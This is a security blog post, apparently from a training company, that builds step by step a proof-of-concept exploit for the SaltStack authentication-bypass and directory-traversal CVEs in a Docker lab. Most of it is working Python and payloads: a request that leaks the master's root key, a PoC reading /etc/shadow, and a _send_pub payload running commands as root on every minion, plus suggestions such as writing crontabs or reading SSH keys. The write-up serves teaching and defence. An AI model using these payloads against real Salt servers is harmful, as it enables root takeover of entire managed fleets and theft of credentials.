The software
SaltStack is a commercial, open source management tool that allows system administrators to automate the orchestration and configuration of their servers. That means with its high speed data connectivity and fast communication, the software can ensure that specific packages are installed and certain services are running, as well as even being able to query and execute commands on individual machines and remote nodes.
Each server runs an agent, known as a minion, that publishes reports and receives update instructions from a master. A huge number of these minions are persistently connected to their publisher server in order to listen to instructions and messages from the master. When needed, they also connect to their request server to send results to, and request files from, the Salt master.
The vulnerability
On 15th April 2020, an internet wide scan by F-Secure disclosed that over 6,000 Salt masters were publicly exposed and at risk of compromise from a vulnerability that was detected in SaltStack back in March. The vulnerability allowed attackers to bypass authentication controls, connect to the request server, and publish arbitrary control messages, meaning a malicious actor could read and write files anywhere on the master server system and gain full remote command execution as a root user.
The vulnerabilities were categorized as two separate CVEs (CVE-2020-11651 and CVE-2020-11652), the first being listed as an authentication bypass, unintentionally exposing unauthorized network clients to gain functionality, and the second being directory traversal, where incorrectly sanitized inputs allow unconstrained access to the entire file system of the master server.
The exploit
F-Secure stated that they would not be providing a Proof of Concept (PoC) exploit code so as not to harm any SaltStack users that were slow to patch. Instead, they left the exploit as an exercise and suggested that any competent hacker would be able to create exploits for the vulnerabilities in less than 24 hours. Here’s how we did it.
The code
It was time to start writing some code. This is mostly from the Python ZeroMQ documentation.
import zmq
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://127.0.0.1:4506")
msg = b"hello"
socket.send(msg)
socket.recv()
We got this response.
b'\xa8bad load'
Let’s take a look at the Salt Docker output.
Could not deserialize msgpack message. This often happens when trying to read a file
not in binary mode. To see message payload, enable debug logging and retry. Exception: unpack(b)
received extra data.
Bad load from minion: ExtraData: unpack(b) received extra data.
/usr/lib/python3.7/site-packages/salt/loader.py:772: DeprecationWarning: dist() and
linux_distribution() functions are deprecated in Python 3.5
ret = funcs()
A couple of things jumped out straight away. A deserialize error was occurring, but first, we wanted debug mode in order to see the payload and get more data. We killed the running container and edited our Docker file.
FROM saltstack/salt:2019.2.0
EXPOSE 4506
EXPOSE 4505
CMD salt-master -l debug
FROM saltstack/salt:2019.2.0
EXPOSE 4506
EXPOSE 4505
CMD salt-master -l debug
We rebuilt and ran it again, which revealed a lot more output in the Docker logs. Another run of the payload provides even more details.
LazyLoaded local_cache.clean_old_jobs
LazyLoaded localfs.list_tokens
This salt-master instance has accepted 0 minion keys.
Could not deserialize
msgpack message. This often happens when trying to read a file not in binary mode. To see
message payload, enable debug logging and retry. Exception: unpack(b) received extra data.
Msgpack deserialization failure on message: Hello
Bad load from minion:
ExtraData: unpack(b) received extra data.
A quick google helped us to identify the “msgpack deserialization failure” message; the top results were for the SaltStack Github repository! We discovered from here that MessagePack is like JSON, but “faster and smaller”. There was a Python library available, so we installed it to see what happened next.
import zmq
import msgpack
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://127.0.0.1:4506")
msg = msgpack.packb({"hello": "world"}, use_bin_type=True)
socket.send(msg)
socket.recv()
We were still receiving a bad load message, but looking back at the SaltStack logs, we found this.
Bad load from minion: KeyError: 'enc'
What happens when we set the message to include an ‘enc’ key?
msg = msgpack.packb({"enc": "world"}, use_bin_type=True)
payload and load must be a dict. Payload was: {'enc': 'world'} and load was None
The system now wanted to load:
msg = msgpack.packb({"enc": "world", "load":{}}, use_bin_type=True)
...and then got really upset.
Some exception handling a payload from minion
Traceback (most recent call last):
File "/usr/lib/python3.7/site-
packages/salt/transport/zeromq.py", line 750, in handle_message
ret, req_opts = yield
self.payload_handler(payload)
File "/usr/lib/python3.7/site-packages/tornado/gen.py", line
1055, in run
value = future.result()
File "/usr/lib/python3.7/site-packages/tornado/concurrent.py", line
238, in result
raise_exc_info(self._exc_info)
File "", line 4, in raise_exc_info
File "/usr/lib/python3.7/site-
packages/tornado/gen.py", line 292, in wrapper
result = func(*args, **kwargs)
File "/usr/lib/python3.7/types.py", line 277, in wrapped
coro = func(*args, **kwargs)
File "/usr/lib/python3.7/site-packages/salt/master.py", line
1064, in _handle_payload
'clear': self._handle_clear}(load)
KeyError: 'world'
Uncaught exception in zmqstream callback
Traceback (most recent call last):
File "/usr/lib/python3.7/site-packages/zmq/sugar/socket.py",
line 435, in send_multipart
memoryview(msg)
TypeError: memoryview: a bytes-like object is required, not 'str'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3.7/site-
packages/zmq/eventloop/zmqstream.py", line 460, in _handle_events
self._handle_send()
File "/usr/lib/python3.7/site-packages/zmq/eventloop/zmqstream.py",
line 499, in _handle_send
status = self.socket.send_multipart(msg, **kwargs)
File "/usr/lib/python3.7/site-
packages/zmq/sugar/socket.py", line 442, in send_multipart
i, rmsg,
TypeError: Frame 0 ('Some exception handling minion ...) does not support the buffer
interface.
Exception in callback functools.partial(.null_wrapper at 0x7f697b7966a8>)
Traceback (most recent call last):
File "/usr/lib/python3.7/site-packages/zmq/sugar/socket.py",
line 435, in send_multipart
memoryview(msg)
TypeError: memoryview: a bytes-like object is required, not 'str'
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
File "/usr/lib/python3.7/site-packages/tornado/ioloop.py",
line 605, in _run_callback
ret = callback()
File "/usr/lib/python3.7/site-packages/tornado/stack_context.py", line
277, in null_wrapper
return fn(*args, **kwargs)
File "/usr/lib/python3.7/site-
packages/zmq/eventloop/zmqstream.py", line 542, in
self.io_loop.add_callback(lambda
: self._handle_events(self.socket, 0))
File "/usr/lib/python3.7/site-
packages/zmq/eventloop/zmqstream.py", line 460, in _handle_events
self._handle_send()
File "/usr/lib/python3.7/site-packages/zmq/eventloop/zmqstream.py",
line 499, in _handle_send
status = self.socket.send_multipart(msg, **kwargs)
File "/usr/lib/python3.7/site-
packages/zmq/sugar/socket.py", line 442, in send_multipart
i, rmsg,
TypeError: Frame 0 ('Some exception handling minion ...) does not support the buffer
interface.
It killed our socket! We had to find out what it wanted. The stack trace told us.
File "/usr/lib/python3.7/site-packages/salt/master.py", line 1064, in _handle_payload
'clear': self._handle_clear}(load)
KeyError: 'world'
Thankfully, because SaltStack is open source, we were able to look up the source code on Github and find the source code for master.py. As we were working on an older version, our line numbers didn’t exactly line up with the latest version. So, a quick ctrl+f for _handle_payload found our function, pretty close to where we thought it would be.
We’ve got a lot of information here, including an example payload, which meant we could start constructing our valid payload. However, we know _prep_auth_info() is our vulnerable method, so we quickly searched for this in the repository.
Perfect! A test case that seemed to be for our exact requirements. This search also divulged some test cases against specific CVEs, so at this point, we had everything we needed.
import zmq
import msgpack
context = zmq.Context()
socket = context.socket(zmq.REQ)
socket.connect("tcp://127.0.0.1:4506")
msg = msgpack.packb({"enc": "clear", "load":{'cmd': '_prep_auth_info'}}, use_bin_type=True)
socket.recv()
socket.send(msg)
socket.recv()
Why wasn’t it working? This was supposed to be an authority bypass, but we were given an authorization error. It started to click when we unpacked the raw message.
In :
msgpack.unpackb(b'\x94\xa4user\xb7UserAuthenticationError\x81\xa4root\xda\x00LqxWqaRIfKk/MoBDKkz29HAQh49XNnDu8aNPuLoSTSL1FLlUtizE9gigkS9MJuNeXAHoEIwxvlZ0=\x90')
Out:
['user',
'UserAuthenticationError',
{'root':
'qxWqaRIfKk/MoBDKkz29HAQh49XNnDu8aNPuLoSTSL1FLlUtizE9gigkS9MJuNeXAHoEIwxvlZ0='},
]
In :
We jumped onto the Salt master, used cat to read the root key, and compared.
/var/cache/salt/master # cat /var/cache/salt/master/.root_key
qxWqaRIfKk/MoBDKkz29HAQh49XNnDu8aNPuLoSTSL1FLlUtizE9gigkS9MJuNeXAHoEIwxvlZ0=
This is a valid root key! We now had the ability to compose and send any command we wanted to the master or any of the minions.
Here’s our working PoC to read and write files.
import os
import zmq
import msgpack
print("Setting ZMQ Context")
context = zmq.Context()
socket = context.socket(zmq.REQ)
print("Connecting Socket")
socket.connect("tcp://127.0.0.1:4506")
def get_root_key():
msg = msgpack.packb({"enc": "clear", "load":{'cmd': '_prep_auth_info'}},
use_bin_type=True)
print(msg)
print("Sending Message")
socket.send(msg)
print("Getting Response")
response = socket.recv()
print("unpacking Response")
decoded_response = msgpack.unpackb(response)
print(decoded_response)
root_key = decoded_response
print(root_key)
return root_key
root_key = get_root_key()
#File Write
#msg = msgpack.packb({"enc": "clear", "load":{'key': root_key ,'cmd': 'wheel',
'fun':'file_roots.write', 'data': 'win', 'path': os.path.join('..', 'pwn.txt'),
'saltenv':'base'}}, use_bin_type=True)
msg = msgpack.packb({"enc": "clear", "load":{'key': root_key ,'cmd': 'wheel',
'fun':'file_roots.read', 'path': os.path.join('..', '..', '..', '..', 'etc', 'shadow'),
'saltenv':'base'}}, use_bin_type=True)
print("Sending Message")
socket.send(msg)
print("Getting Response")
response = socket.recv()
print("unpacking Response")
decoded_response = msgpack.unpackb(response)
print(decoded_response)
The fun bit
The second part of the CVE suggests we can use _send_pub to run a job on every minion. There’s an example in the same test_clear_funcs.py that shows us how to construct a payload.
jid = "202003100000000001"
msg = {
"cmd": "_send_pub",
"fun": "file.write",
"jid": jid,
"arg": ,
"kwargs": {"show_jid": False,
"show_timeout": False},
"ret": "",
"tgt": "minion",
"tgt_type": "glob",
"user": "root",
}
This isn’t targeting the master. We needed to get a minion connected in order to fully test the system. Once again, this proved easy enough to achieve with a little bit of Docker.
FROM ubuntu:18.04
RUN curl -L https://bootstrap.saltstack.com > install.sh
RUN bash install.sh -A 172.17.0.2 stable
2019.2.0
#Just something to start the container and keep it open. Really lazy
RUN touch /tmp/blah &&
tail -f /tmp/blah
Over at the master, we approved the minions key by running salt-keys -A and tested connectivity with salt '*' test.ping. With everything now connected, we could test our exploit payload. Fingers crossed!
def send_pub():
exploit_command = ""
msg_payload = {
"enc": "clear",
"load": {
"arg": [
"echo 12345 > /tmp/12345.txt"
],
"cmd": "_send_pub",
"fun": "cmd.run",
"jid": "202003100000000001",
"kwargs": {
"show_jid": False,
"show_timeout": True
},
"ret": "",
"tgt": "*",
"tgt_type": "glob",
"user": "root"
}
}
msg = msgpack.packb(msg_payload, use_bin_type=True)
print("Sending Message")
socket.send(msg)
print("Getting Response")
response = socket.recv()
print("unpacking Response")
decoded_response = msgpack.unpackb(response)
print(decoded_response)
Success! Sending this payload to the Salt master resulted in the job being executed on the connected Minions. We could see that the file was created in the /tmp/ directory and was owned by the root user; this means we had full control of every minion at the highest privilege level.
To make the jobs appear legitimate and avoid any issues with duplicate job IDs that may block multiple runs, we added some code to generate correct IDs.
Trying the same techniques on the master resulted in failure. There were only a limited set of functions exposed to us that we could use. These wheel functions do expose read and write privileges to the Salt master, however, which we could abuse to gain additional access to the master. Examples of this could include reading SSH keys or other sensitive files, writing scripts to root profiles, or crontabs to be executed at login or reboot.
With all that figured out, it was just a matter of writing a full PoC.
Now, find out how to identify whether you were infected by this vulnerability or not with our blue team-style report on the CVE.
If you'd like to get hands on with these vulnerabilities and try out the techniques discussed above in a safe and secure environment, head over to Immersive Labs Lite to try it for free.